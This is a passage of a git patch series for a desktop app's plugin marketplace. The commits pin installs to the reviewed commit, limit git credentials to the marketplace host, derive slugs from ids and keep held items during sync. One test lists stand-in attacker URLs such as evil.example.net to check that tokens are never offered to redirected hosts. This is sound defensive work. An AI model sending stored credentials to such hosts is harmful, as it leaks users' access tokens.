    @@ -45,7 +47,7 @@ export default function ItemDetail({ mp, item, marketplaceId }: Props) { )}

    Install

    - +

    Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes apply to new Claude sessions. diff --git a/app/src/hooks/useMarketplace.test.ts b/app/src/hooks/useMarketplace.test.ts index 7aa27b3..83a855c 100644 --- a/app/src/hooks/useMarketplace.test.ts +++ b/app/src/hooks/useMarketplace.test.ts @@ -9,6 +9,7 @@ const listMarketplaceUpdates = vi.fn(); const getSettings = vi.fn(); const listProjects = vi.fn(); const installMarketplaceItem = vi.fn(); +const updateMarketplaceItem = vi.fn(); vi.mock("../lib/tauri-commands", () => ({ listMarketplaceSnapshots: () => listMarketplaceSnapshots(), @@ -17,6 +18,7 @@ vi.mock("../lib/tauri-commands", () => ({ getSettings: () => getSettings(), listProjects: () => listProjects(), installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a), + updateMarketplaceItem: (...a: unknown[]) => updateMarketplaceItem(...a), })); let syncHandler: ((e: { payload: unknown }) => void) | null = null; @@ -66,11 +68,23 @@ describe("useMarketplace", () => { installMarketplaceItem.mockRejectedValue("boom"); const { result } = renderHook(() => useMarketplace()); const ok = await act(() => - result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }), + result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }, "c".repeat(40)), ); expect(ok).toBe(false); expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" }); }); + + it("I2: passes the reviewed commit to install and update", async () => { + listMarketplaceSnapshots.mockResolvedValue([]); + installMarketplaceItem.mockResolvedValue({}); + updateMarketplaceItem.mockResolvedValue(undefined); + const item = { marketplace_id: "m1", kind: "hook" as const, key: "h" }; + const { result } = renderHook(() => useMarketplace()); + await act(() => result.current.install(item, { type: "global" }, "c".repeat(40))); + expect(installMarketplaceItem).toHaveBeenCalledWith(item, { type: "global" }, "c".repeat(40)); + await act(() => result.current.update(item, { type: "project", project_id: "p1" }, "d".repeat(40))); + expect(updateMarketplaceItem).toHaveBeenCalledWith(item, { type: "project", project_id: "p1" }, "d".repeat(40)); + }); }); describe("useMarketplaceSyncToasts", () => { diff --git a/app/src/hooks/useMarketplace.ts b/app/src/hooks/useMarketplace.ts index e1f57ae..9e9e5a8 100644 --- a/app/src/hooks/useMarketplace.ts +++ b/app/src/hooks/useMarketplace.ts @@ -21,10 +21,12 @@ export interface MarketplaceApi { refresh: (marketplaceId?: string) => Promise; /** Reload settings, projects and the update list after a mutation. */ reloadState: () => Promise; - install: (item: MarketplaceItemRef, scope: InstallScope) => Promise; + /** `commit`: the marketplace head the user reviewed (see `install_marketplace_item`). */ + install: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise; uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise; setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise; - update: (item: MarketplaceItemRef, scope: InstallScope) => Promise; + /** `commit`: the head whose diff the user accepted. */ + update: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise; forget: (marketplaceId: string) => Promise; remove: (marketplaceId: string) => Promise; } @@ -146,16 +148,16 @@ export function useMarketplace(): MarketplaceApi { load, refresh, reloadState, - install: (item, scope) => - mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope)), + install: (item, scope, commit) => + mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope, commit)), uninstall: (item, scope) => mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)), setDisabled: (projectId, item, disabled) => mutate(`Could not change ${item.key} for this project`, () => commands.setGlobalItemDisabled(projectId, item, disabled), ), - update: (item, scope) => - mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope)), + update: (item, scope, commit) => + mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope, commit)), forget: (marketplaceId) => mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)), remove: async (marketplaceId) => { diff --git a/app/src/lib/tauri-commands.ts b/app/src/lib/tauri-commands.ts index c911dcb..e69ea2b 100644 --- a/app/src/lib/tauri-commands.ts +++ b/app/src/lib/tauri-commands.ts @@ -449,8 +449,9 @@ export const updateMarketplace = (marketplace: Marketplace) => invoke("update_marketplace", { marketplace }); export const removeMarketplace = (marketplaceId: string) => invoke("remove_marketplace", { marketplaceId }); -export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => - invoke("install_marketplace_item", { item, scope }); +/** `expectedCommit`: the head the user reviewed; the backend refuses if it moved. */ +export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) => + invoke("install_marketplace_item", { item, scope, expectedCommit }); export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => invoke("uninstall_marketplace_item", { item, scope }); export const setGlobalItemDisabled = ( @@ -466,8 +467,9 @@ export const marketplaceItemDiff = ( fromCommit: string, toCommit: string, ) => invoke("marketplace_item_diff", { item, fromCommit, toCommit }); -export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) => - invoke("update_marketplace_item", { item, scope }); +/** `expectedCommit`: the head whose diff the user accepted; the backend refuses if it moved. */ +export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) => + invoke("update_marketplace_item", { item, scope, expectedCommit }); export const applyMarketplaceNow = (projectId?: string) => invoke("apply_marketplace_now", { projectId: projectId ?? null }); export const getMarketplaceSyncReport = (projectId: string) => diff --git a/docs/superpowers/specs/2026-09-27-marketplace-design.md b/docs/superpowers/specs/2026-09-27-marketplace-design.md index ab0abd3..d06684f 100644 --- a/docs/superpowers/specs/2026-09-27-marketplace-design.md +++ b/docs/superpowers/specs/2026-09-27-marketplace-design.md @@ -184,7 +184,10 @@ password = token. Shallow fetch is not used (pins need history for diff/ancestry **Update detection** compares each installed item's own tree (item folder / file blob id) at its pin vs. the branch head; only a changed item shows "update available". **Update** shows a text diff of the item's files (pinned → head) and, on accept, moves the pin. -Hooks' diffs always show the rendered commands. +Hooks' diffs always show the rendered commands. Install and update both carry the commit the user +reviewed (the head the item was read at, the head of the accepted diff); the backend pins exactly +that commit and refuses with "changed since you reviewed this item — review it again" if the +marketplace's head has moved since. **Accounts** (`marketplace/auth.rs`): -- 2.52.0 From 19ae92d4f8285f5b8c3dced94ccf5d97fc632012 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 10:12:47 -0700 Subject: [PATCH 29/45] Marketplace fetch: offer the token only to the marketplace host (final review M1) The credential callback answered every credential request. gix follows a redirect of the initial handshake and asks for credentials for the redirect target, so the token could be sent to another host. The callback now answers only when the request's scheme, host and port match the marketplace URL (gix's own URL normalisation, host compared case-insensitively); anything else gets no credential. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/git.rs | 68 +++++++++++++++++++++++++++- 1 file changed, 67 insertions(+), 1 deletion(-) diff --git a/app/src-tauri/src/marketplace/git.rs b/app/src-tauri/src/marketplace/git.rs index b012543..ee7d36a 100644 --- a/app/src-tauri/src/marketplace/git.rs +++ b/app/src-tauri/src/marketplace/git.rs @@ -150,6 +150,27 @@ fn open_or_init(repo_path: &Path) -> Result { } } +/// `(scheme, host[:port])` of a credential request, lowercased, with a +/// default port dropped (gix's own normalisation). None if it names no host. +fn credential_origin(ctx: &gix::credentials::protocol::Context) -> Option<(String, String)> { + let mut ctx = ctx.clone(); + ctx.destructure_url_in_place(false).ok()?; + let protocol = ctx.protocol?.to_ascii_lowercase(); + let host = ctx.host?.to_ascii_lowercase(); + (!host.is_empty()).then_some((protocol, host)) +} + +/// True when a credential request is for the marketplace's own scheme, host +/// and port. gix follows redirects of the initial handshake, and the token +/// must never be offered to a host it was redirected to (final review M1). +pub(crate) fn credential_matches(ctx: &gix::credentials::protocol::Context, url: &str) -> bool { + let wanted = gix::credentials::protocol::Context::from_url(url, Default::default()); + match (credential_origin(ctx), credential_origin(&wanted)) { + (Some(asked), Some(wanted)) => asked == wanted, + _ => false, + } +} + /// Init the bare repo if missing, fetch `branch` (or the remote's default /// branch) into [`HEAD_REF`], and return the head commit hex. pub fn fetch( @@ -174,11 +195,14 @@ pub fn fetch( .map_err(|e| FetchError::Other(format!("Invalid repository URL: {}", e)))? .with_refspecs([refspec.as_str()], gix::remote::Direction::Fetch) .map_err(|e| FetchError::Other(format!("Invalid refspec: {}", e)))?; + let own_url = url.to_string(); let connection = remote .connect(gix::remote::Direction::Fetch) .map_err(classify)? .with_credentials(move |action| match (action, &cred) { - (gix::credentials::helper::Action::Get(ctx), Some(c)) => { + (gix::credentials::helper::Action::Get(ctx), Some(c)) + if credential_matches(&ctx, &own_url) => + { Ok(Some(gix::credentials::protocol::Outcome { identity: gix::sec::identity::Account { username: c.username.clone(), @@ -424,6 +448,48 @@ mod tests { assert!(shown.contains("")); } + /// Final review M1: the token goes only to the marketplace's own scheme, + /// host and port — never to a host the handshake was redirected to. + #[test] + fn credentials_are_offered_only_to_the_marketplace_host() { + use gix::credentials::protocol::Context; + let url = "https://git.example.com/org/repo.git"; + let ctx = |u: &str| Context::from_url(u, Default::default()); + + assert!(credential_matches(&ctx(url), url)); + assert!(credential_matches( + &ctx("https://git.example.com/other/path.git"), + url + )); + assert!(credential_matches( + &ctx("https://GIT.example.com/org/repo.git"), + url + )); + assert!(credential_matches( + &ctx("https://git.example.com:443/org/repo.git"), + url + )); + for other in [ + "https://evil.example.net/org/repo.git", + "https://git.example.com.evil.net/org/repo.git", + "https://git.example.com:8443/org/repo.git", + "http://git.example.com/org/repo.git", + ] { + assert!(!credential_matches(&ctx(other), url), "{other}"); + } + let with_port = "https://git.example.com:8443/org/repo.git"; + assert!(credential_matches(&ctx(with_port), with_port)); + assert!(!credential_matches(&ctx(url), with_port)); + // A request that names no host gets nothing. + assert!(!credential_matches(&Context::default(), url)); + let host_only = Context { + protocol: Some("https".into()), + host: Some("git.example.com".into()), + ..Default::default() + }; + assert!(credential_matches(&host_only, url)); + } + #[test] fn refuses_unsafe_branch_names() { let dir = tempfile::tempdir().unwrap(); -- 2.52.0 From 5829c42f0f9d72abb20448c6108f4eabf72b57b0 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 10:14:30 -0700 Subject: [PATCH 30/45] Marketplace: derive the plugin slug from the id only (final review M4) The slug (plugin marketplace "triple-c-", plugin tree "plugins//") was built from the editable display name. After a rename the next sync registered the new marketplace, skipped the plugin install because the state's commit matched, then removed the old marketplace: the plugin was gone while the report said nothing changed. marketplace_slug now takes the id only ("mp-"). With plugin state kept per slug (I1), containers synced with the old "-" slugs move over on their next sync: plugins are installed under the new name, the old copies uninstalled and the old registration dropped. A sync script test covers that migration (it fails on the pre-I1 script). Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/payload.rs | 32 ++++++++++-- .../src/marketplace/sync_script_tests.rs | 33 ++++++++++++ app/src-tauri/src/models/marketplace.rs | 50 +++++++------------ .../specs/2026-09-27-marketplace-design.md | 4 +- 4 files changed, 83 insertions(+), 36 deletions(-) diff --git a/app/src-tauri/src/marketplace/payload.rs b/app/src-tauri/src/marketplace/payload.rs index 879589e..52f2262 100644 --- a/app/src-tauri/src/marketplace/payload.rs +++ b/app/src-tauri/src/marketplace/payload.rs @@ -200,7 +200,7 @@ pub fn build_payload(input: &PayloadInput) -> Result { } }; entry["source"] = json!(format!("./{key}")); - let slug = marketplace_slug(&m.name, &m.id); + let slug = marketplace_slug(&m.id); for f in &files { tar.file( &format!("plugins/{slug}/{key}/{}", f.rel_path), @@ -328,7 +328,7 @@ mod tests { assert!(p.skipped.is_empty(), "{:?}", p.skipped); let files = unpack(&p.tar); - let slug = marketplace_slug("Team Tools", "m1aaaaaaaa"); + let slug = marketplace_slug("m1aaaaaaaa"); for path in [ "agents/code-reviewer.md".to_string(), "skills/example-skill/SKILL.md".to_string(), @@ -367,7 +367,7 @@ mod tests { data_root: data.path(), }) .unwrap(); - let slug = marketplace_slug("Team Tools", "m1aaaaaaaa"); + let slug = marketplace_slug("m1aaaaaaaa"); let files = unpack(&p.tar); let manifest: Value = serde_json::from_slice(&files["manifest.json"].data).unwrap(); @@ -398,6 +398,32 @@ mod tests { assert_eq!(catalog["plugins"][0]["source"], "./example-plugin"); } + /// Final review M4: the plugin marketplace name comes from the id, so a + /// rename never makes the container see a different marketplace. + #[test] + fn plugin_slug_survives_a_rename() { + let Some(fx) = GitFixture::new() else { return }; + let c = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + cache(&fx, data.path()); + let installs = vec![inst(ItemKind::Plugin, "example-plugin", &c)]; + let slug_named = |name: &str| { + let marketplaces = vec![Marketplace { + name: name.into(), + ..market("m1aaaaaaaa") + }]; + let p = build_payload(&PayloadInput { + installs: &installs, + marketplaces: &marketplaces, + data_root: data.path(), + }) + .unwrap(); + p.manifest["items"][0]["slug"].as_str().unwrap().to_string() + }; + assert_eq!(slug_named("Team Tools"), "mp-m1aaaaaa"); + assert_eq!(slug_named("Renamed"), "mp-m1aaaaaa"); + } + #[test] fn items_that_cannot_be_built_are_skipped_not_fatal() { let Some(fx) = GitFixture::new() else { return }; diff --git a/app/src-tauri/src/marketplace/sync_script_tests.rs b/app/src-tauri/src/marketplace/sync_script_tests.rs index e6489dd..8a30fa6 100644 --- a/app/src-tauri/src/marketplace/sync_script_tests.rs +++ b/app/src-tauri/src/marketplace/sync_script_tests.rs @@ -1024,3 +1024,36 @@ fn a_deselected_legacy_plugin_record_is_still_uninstalled() { ); assert_eq!(read_json(&state_path)["items"], json!({})); } + +/// Final review M4: slugs moved from "-" to "mp-". The first +/// sync after that installs under the new name, uninstalls the old copy and +/// drops the old registration; later syncs are quiet. +#[test] +fn a_slug_change_reinstalls_under_the_new_name_and_retires_the_old() { + let Some(env) = env() else { return }; + shared_plugin_payload(&env, &[(SLUG, C1)]); + assert_eq!(run(&env).installed, vec!["plugin:p"]); + + fs::remove_file(&env.log).unwrap(); + shared_plugin_payload(&env, &[(SLUG_A, C1)]); + let r = run(&env); + assert_eq!(r.installed, vec!["plugin:p"], "{r:?}"); + assert_eq!(r.removed, vec!["plugin:p"], "{r:?}"); + assert!(r.errors.is_empty(), "{r:?}"); + let tree = env.home.join(".claude/triple-c/plugins"); + assert_eq!( + claude_log(&env), + vec![ + format!("plugin marketplace add {}", tree.join(SLUG_A).display()), + format!("plugin install p@triple-c-{SLUG_A}"), + format!("plugin uninstall p@triple-c-{SLUG}"), + format!("plugin marketplace remove triple-c-{SLUG}"), + ] + ); + assert!(!tree.join(SLUG).exists()); + + fs::remove_file(&env.log).unwrap(); + shared_plugin_payload(&env, &[(SLUG_A, C1)]); + let r = run(&env); + assert!(nothing_reported(&r), "{r:?}"); +} diff --git a/app/src-tauri/src/models/marketplace.rs b/app/src-tauri/src/models/marketplace.rs index d409983..4884624 100644 --- a/app/src-tauri/src/models/marketplace.rs +++ b/app/src-tauri/src/models/marketplace.rs @@ -124,34 +124,25 @@ pub fn is_valid_item_key(key: &str) -> bool { .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) } -/// A container-safe, collision-free name for a marketplace: its name -/// lowercased to `[a-z0-9-]`, dashes collapsed, at most 32 characters, then -/// `-` and the first 8 characters of its id. An empty sanitised name becomes -/// `marketplace`. -pub fn marketplace_slug(name: &str, id: &str) -> String { - let mut base = String::new(); - for c in name.chars() { - let c = c.to_ascii_lowercase(); - if c.is_ascii_lowercase() || c.is_ascii_digit() { - base.push(c); - } else if !base.ends_with('-') && !base.is_empty() { - base.push('-'); - } - } - let mut base: String = base.trim_matches('-').chars().take(32).collect(); - while base.ends_with('-') { - base.pop(); - } - if base.is_empty() { - base.push_str("marketplace"); - } +/// A container-safe name for a marketplace (plugin marketplace +/// `triple-c-`, plugin tree `plugins//`): `mp-` and the first 8 +/// alphanumeric characters of its id, lowercased. It depends on the id only, +/// never on the editable display name, so a rename cannot make a container +/// see a different marketplace (final review M4). Containers synced with +/// the earlier `-` slugs move over on their next sync: the +/// plugins are installed under the new name and the old copies uninstalled. +pub fn marketplace_slug(id: &str) -> String { let id_part: String = id .chars() .filter(|c| c.is_ascii_alphanumeric()) .map(|c| c.to_ascii_lowercase()) .take(8) .collect(); - format!("{}-{}", base, id_part) + if id_part.is_empty() { + "mp-marketplace".to_string() + } else { + format!("mp-{id_part}") + } } /// A full, lowercase, 40-character hex object id. @@ -327,17 +318,14 @@ mod tests { } #[test] - fn slug_is_sanitised_and_suffixed_with_the_id() { + fn slug_is_derived_from_the_id_only() { assert_eq!( - marketplace_slug("Triple-C Marketplace!", "1A2B3C4D-ffff"), - "triple-c-marketplace-1a2b3c4d" + marketplace_slug("7C9E6679-7425-40de-944b-e07fc1f90ae7"), + "mp-7c9e6679" ); - assert_eq!( - marketplace_slug("***", "abcdef0123"), - "marketplace-abcdef01" - ); - let long = marketplace_slug(&"x".repeat(80), "12345678"); - assert_eq!(long, format!("{}-12345678", "x".repeat(32))); + assert_eq!(marketplace_slug("1A2B-3C4D-ffff"), "mp-1a2b3c4d"); + assert_eq!(marketplace_slug("ab"), "mp-ab"); + assert_eq!(marketplace_slug("--"), "mp-marketplace"); } #[test] diff --git a/docs/superpowers/specs/2026-09-27-marketplace-design.md b/docs/superpowers/specs/2026-09-27-marketplace-design.md index d06684f..2ffe42b 100644 --- a/docs/superpowers/specs/2026-09-27-marketplace-design.md +++ b/docs/superpowers/specs/2026-09-27-marketplace-design.md @@ -120,8 +120,8 @@ pub struct MarketplaceAccount { pub username: Option, // resolved at sign-in, display only } pub struct Marketplace { - pub id: String, // uuid - pub name: String, // display; slug used in container paths + pub id: String, // uuid; slug "mp-" used in container paths + pub name: String, // display only (renaming never changes the slug) pub url: String, // https URL only pub branch: Option,// None = remote default branch pub account_id: Option, // None = anonymous -- 2.52.0 From f2bb092586d437d588b08d25494338c7dc1cfc83 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 10:16:27 -0700 Subject: [PATCH 31/45] Marketplace sync: keep installs the host could not build (final review M3) An install the host skipped (pinned commit missing from the cache, cache unreadable, item failing a tightened validation rule) never reached the manifest, so sync.sh treated it as deselected and deleted it from the container. The manifest now carries `held`: the state ids of such installs ("plugin:/" for plugins). The script counts them as still selected and carries their records forward, as it already does for items that fail inside the container. A removed marketplace is the one skip that still removes; a malformed `held` list changes nothing. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/payload.rs | 70 +++++++++++++-- app/src-tauri/src/marketplace/sync.sh | 6 +- .../src/marketplace/sync_script_tests.rs | 87 +++++++++++++++++++ .../specs/2026-09-27-marketplace-design.md | 3 +- 4 files changed, 155 insertions(+), 11 deletions(-) diff --git a/app/src-tauri/src/marketplace/payload.rs b/app/src-tauri/src/marketplace/payload.rs index 52f2262..fa22c3d 100644 --- a/app/src-tauri/src/marketplace/payload.rs +++ b/app/src-tauri/src/marketplace/payload.rs @@ -100,6 +100,10 @@ pub fn build_payload(input: &PayloadInput) -> Result { let mut tar = TarWriter::new(); let mut items: Vec = Vec::new(); let mut skipped: Vec = Vec::new(); + // State ids (see sync.sh) of installs the host could not build this time: + // the container keeps what it has for them instead of treating them as + // deselected (final review M3). Only a removed source really removes. + let mut held: BTreeSet = BTreeSet::new(); let mut plugin_groups: BTreeMap = BTreeMap::new(); // Non-plugin items share one namespace in ~/.claude; plugins are namespaced // by their per-marketplace catalog, so they never collide. @@ -122,10 +126,22 @@ pub fn build_payload(input: &PayloadInput) -> Result { skip("its marketplace has been removed".to_string()); continue; }; - if !is_valid_item_key(&inst.key) || !is_valid_commit(&inst.commit) { + let state_id = match inst.kind { + ItemKind::Plugin => format!("plugin:{}/{}", marketplace_slug(&m.id), inst.key), + _ => label.clone(), + }; + let mut hold = |reason: String| { + held.insert(state_id.clone()); + skip(reason) + }; + if !is_valid_item_key(&inst.key) { skip("the saved install entry is invalid".to_string()); continue; } + if !is_valid_commit(&inst.commit) { + hold("the saved install entry is invalid".to_string()); + continue; + } if inst.kind != ItemKind::Plugin && taken.contains(&(inst.kind, inst.key.clone())) { skip(format!( "another marketplace's {label} is already installed" @@ -134,7 +150,7 @@ pub fn build_payload(input: &PayloadInput) -> Result { } let repo = git::cache_path(input.data_root, &m.id); if !git::has_commit(&repo, &inst.commit) { - skip(format!( + hold(format!( "pinned commit {} is not in the local cache of \"{}\" — refresh the marketplace", &inst.commit[..8], m.name @@ -144,7 +160,7 @@ pub fn build_payload(input: &PayloadInput) -> Result { let (tree, files) = match install_files(&repo, inst) { Ok(v) => v, Err(e) => { - skip(e); + hold(e); continue; } }; @@ -164,7 +180,7 @@ pub fn build_payload(input: &PayloadInput) -> Result { "commands" }; let Some(f) = files.first() else { - skip("has no files".to_string()); + hold("has no files".to_string()); continue; }; let path = format!("{dir}/{key}.md"); @@ -181,7 +197,7 @@ pub fn build_payload(input: &PayloadInput) -> Result { match rendered_hook_settings(&tree, key) { Ok(settings) => item["settings"] = settings, Err(e) => { - skip(e); + hold(e); continue; } } @@ -195,7 +211,7 @@ pub fn build_payload(input: &PayloadInput) -> Result { let mut entry = match plugin_catalog_entry(&tree, key) { Ok(e) => e, Err(e) => { - skip(e); + hold(e); continue; } }; @@ -242,8 +258,12 @@ pub fn build_payload(input: &PayloadInput) -> Result { .push(json!({ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": group.keys })); } - let manifest = - json!({ "version": 1, "items": items, "plugin_marketplaces": plugin_marketplaces }); + let manifest = json!({ + "version": 1, + "items": items, + "plugin_marketplaces": plugin_marketplaces, + "held": held, + }); let bytes = serde_json::to_vec_pretty(&manifest).map_err(|e| e.to_string())?; tar.file("manifest.json", &bytes, false)?; @@ -466,6 +486,37 @@ mod tests { p.skipped[1].reason ); assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1); + // Final review M3: host-side failures are held (the container keeps + // what it has); only a removed source really removes. + assert_eq!( + p.manifest["held"], + json!(["agent:code-reviewer", "agent:does-not-exist"]) + ); + } + + #[test] + fn a_plugin_that_cannot_be_built_is_held_under_its_marketplace() { + let Some(fx) = GitFixture::new() else { return }; + fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + cache(&fx, data.path()); + let installs = vec![inst(ItemKind::Plugin, "example-plugin", &"0".repeat(40))]; + let marketplaces = vec![market("m1aaaaaaaa")]; + let p = build_payload(&PayloadInput { + installs: &installs, + marketplaces: &marketplaces, + data_root: data.path(), + }) + .unwrap(); + assert_eq!(p.skipped.len(), 1); + assert_eq!( + p.manifest["held"], + json!([format!( + "plugin:{}/example-plugin", + marketplace_slug("m1aaaaaaaa") + )]) + ); + assert_eq!(p.manifest["plugin_marketplaces"], json!([])); } #[test] @@ -489,6 +540,7 @@ mod tests { assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1); assert_eq!(p.skipped.len(), 1); assert!(p.skipped[0].reason.contains("another marketplace")); + assert_eq!(p.manifest["held"], json!([])); } #[test] @@ -502,7 +554,7 @@ mod tests { .unwrap(); assert_eq!( p.manifest, - json!({ "version": 1, "items": [], "plugin_marketplaces": [] }) + json!({ "version": 1, "items": [], "plugin_marketplaces": [], "held": [] }) ); assert!(unpack(&p.tar).contains_key("manifest.json")); } diff --git a/app/src-tauri/src/marketplace/sync.sh b/app/src-tauri/src/marketplace/sync.sh index befe3fb..642a285 100644 --- a/app/src-tauri/src/marketplace/sync.sh +++ b/app/src-tauri/src/marketplace/sync.sh @@ -168,7 +168,10 @@ if ! jq -e '.version == 1' "$MANIFEST" >/dev/null 2>&1; then fi # Nothing is changed (and, above all, nothing removed) unless the manifest is # structurally sound and every extraction below succeeds. -if ! jq -e '(.items | type) == "array" and (.plugin_marketplaces | type) == "array"' \ +# `held` (optional): state ids of installs the host could not build this time; +# they are kept exactly like a selected item that failed here. +if ! jq -e '(.items | type) == "array" and (.plugin_marketplaces | type) == "array" + and ((.held // []) | type == "array" and all(.[]; type == "string"))' \ "$MANIFEST" >/dev/null 2>&1; then malformed "the payload manifest is malformed, so nothing was changed" fi @@ -190,6 +193,7 @@ if ! { | [if .kind == "plugin" and (.slug | type) == "string" then "plugin:" + .slug + "/" + .key else .kind + ":" + .key end] | @tsv' \ "$MANIFEST" >"$R/manifest_ids" && + jq -r '(.held // [])[] | [.] | @tsv' "$MANIFEST" >>"$R/manifest_ids" && jq -r '.plugin_marketplaces[] | if type == "object" and (.slug | type) == "string" then .slug else "" end | [.] | @tsv' "$MANIFEST" >"$R/new_slugs" diff --git a/app/src-tauri/src/marketplace/sync_script_tests.rs b/app/src-tauri/src/marketplace/sync_script_tests.rs index 8a30fa6..585564d 100644 --- a/app/src-tauri/src/marketplace/sync_script_tests.rs +++ b/app/src-tauri/src/marketplace/sync_script_tests.rs @@ -1057,3 +1057,90 @@ fn a_slug_change_reinstalls_under_the_new_name_and_retires_the_old() { let r = run(&env); assert!(nothing_reported(&r), "{r:?}"); } + +// ── Host-side holds (final review M3) ──────────────────────────────────────── + +/// Everything `install_all` installed, plus plugin `p` from SLUG_A. +fn install_all_and_a_plugin(env: &Env) { + let (base, mut manifest) = all_kinds(C1); + let mut files: Vec<(String, String, bool)> = base + .iter() + .map(|(p, t, e)| (p.to_string(), t.to_string(), *e)) + .collect(); + files.push(( + format!("plugins/{SLUG_A}/.claude-plugin/marketplace.json"), + format!( + r#"{{"name":"triple-c-{SLUG_A}","owner":{{"name":"Triple-C"}},"plugins":[{{"name":"p","source":"./p"}}]}}"# + ), + false, + )); + files.push(( + format!("plugins/{SLUG_A}/p/.claude-plugin/plugin.json"), + r#"{"name":"p"}"#.to_string(), + false, + )); + manifest["items"].as_array_mut().unwrap().push( + json!({ "kind": "plugin", "key": "p", "marketplace": "m1", "commit": C1, "slug": SLUG_A }), + ); + manifest["plugin_marketplaces"] = + json!([{ "slug": SLUG_A, "dir": format!("plugins/{SLUG_A}"), "plugins": ["p"] }]); + let refs: Vec<(&str, &str, bool)> = files + .iter() + .map(|(p, t, e)| (p.as_str(), t.as_str(), *e)) + .collect(); + payload(env, &refs, manifest); + let r = run(env); + assert_eq!(r.installed.len(), 5, "{r:?}"); +} + +#[test] +fn held_items_are_kept_not_removed() { + let Some(env) = env() else { return }; + install_all_and_a_plugin(&env); + let settings_path = env.home.join(".claude/settings.json"); + let state_path = env.home.join(".claude/triple-c/marketplace/state.json"); + let state_before = read_json(&state_path)["items"].clone(); + + // The host could build none of them this time (cache gone, say). + fs::remove_file(&env.log).unwrap(); + let mut manifest = empty_manifest(); + manifest["held"] = json!([ + "agent:code-reviewer", + "skill:example-skill", + "command:example-command", + "hook:notify-on-stop", + format!("plugin:{SLUG_A}/p"), + ]); + payload(&env, &[], manifest); + let r = run(&env); + + assert!(nothing_reported(&r), "{r:?}"); + assert_all_installed(&env); + assert!(claude_log(&env).is_empty(), "{:?}", claude_log(&env)); + assert_eq!(read_json(&settings_path)["hooks"], hook_settings()); + assert_eq!(read_json(&state_path)["items"], state_before); + assert!(env + .home + .join(format!(".claude/triple-c/plugins/{SLUG_A}")) + .is_dir()); + + // A real deselection afterwards still removes everything. + payload(&env, &[], empty_manifest()); + let r = run(&env); + assert_eq!(r.removed.len(), 5, "{r:?}"); +} + +#[test] +fn a_malformed_held_list_changes_nothing() { + let Some(env) = env() else { return }; + install_all(&env); + for bad in [json!("agent:code-reviewer"), json!([1]), json!({})] { + let mut manifest = empty_manifest(); + manifest["held"] = bad.clone(); + payload(&env, &[], manifest); + let r = run(&env); + assert!(r.removed.is_empty(), "{bad}: {r:?}"); + assert_eq!(r.errors.len(), 1, "{bad}: {r:?}"); + assert_all_installed(&env); + } +} diff --git a/docs/superpowers/specs/2026-09-27-marketplace-design.md b/docs/superpowers/specs/2026-09-27-marketplace-design.md index 2ffe42b..21e29ed 100644 --- a/docs/superpowers/specs/2026-09-27-marketplace-design.md +++ b/docs/superpowers/specs/2026-09-27-marketplace-design.md @@ -233,7 +233,8 @@ in existing projects. Plugin commands additionally run under `flock /tmp/.triple agents/ skills/

    /… commands/ hooks//… plugins/.claude-plugin/marketplace.json # generated: only selected plugins plugins//… # each at its own pin -manifest.json # effective set: kind, key, marketplace, commit, hook JSON +manifest.json # effective set: kind, key, marketplace, commit, hook JSON; + # `held`: ids the host could not build this time (kept as is) ``` uploaded to `~/.claude/triple-c/marketplace/incoming/` together with the sync script itself and -- 2.52.0 From 14852ead65107766a84945d2b726fc8fd618185c Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:01:48 -0700 Subject: [PATCH 32/45] Marketplace: check blob sizes from the object header before loading (PR review #9) GitTree::read_file now takes a cap and reads the object's size from its header first, so a blob over MAX_MANIFEST_BYTES / MAX_ITEM_BYTES is refused without being inflated, and the blob is taken rather than cloned. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/catalog.rs | 69 +++++------- app/src-tauri/src/marketplace/git.rs | 7 +- app/src-tauri/src/marketplace/tree.rs | 134 +++++++++++++++++++++-- 3 files changed, 159 insertions(+), 51 deletions(-) diff --git a/app/src-tauri/src/marketplace/catalog.rs b/app/src-tauri/src/marketplace/catalog.rs index 482d3e9..64127d5 100644 --- a/app/src-tauri/src/marketplace/catalog.rs +++ b/app/src-tauri/src/marketplace/catalog.rs @@ -10,7 +10,7 @@ use sha2::{Digest, Sha256}; -use crate::marketplace::tree::{hex, EntryKind, TreeView}; +use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView}; use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind}; pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024; @@ -115,8 +115,9 @@ fn 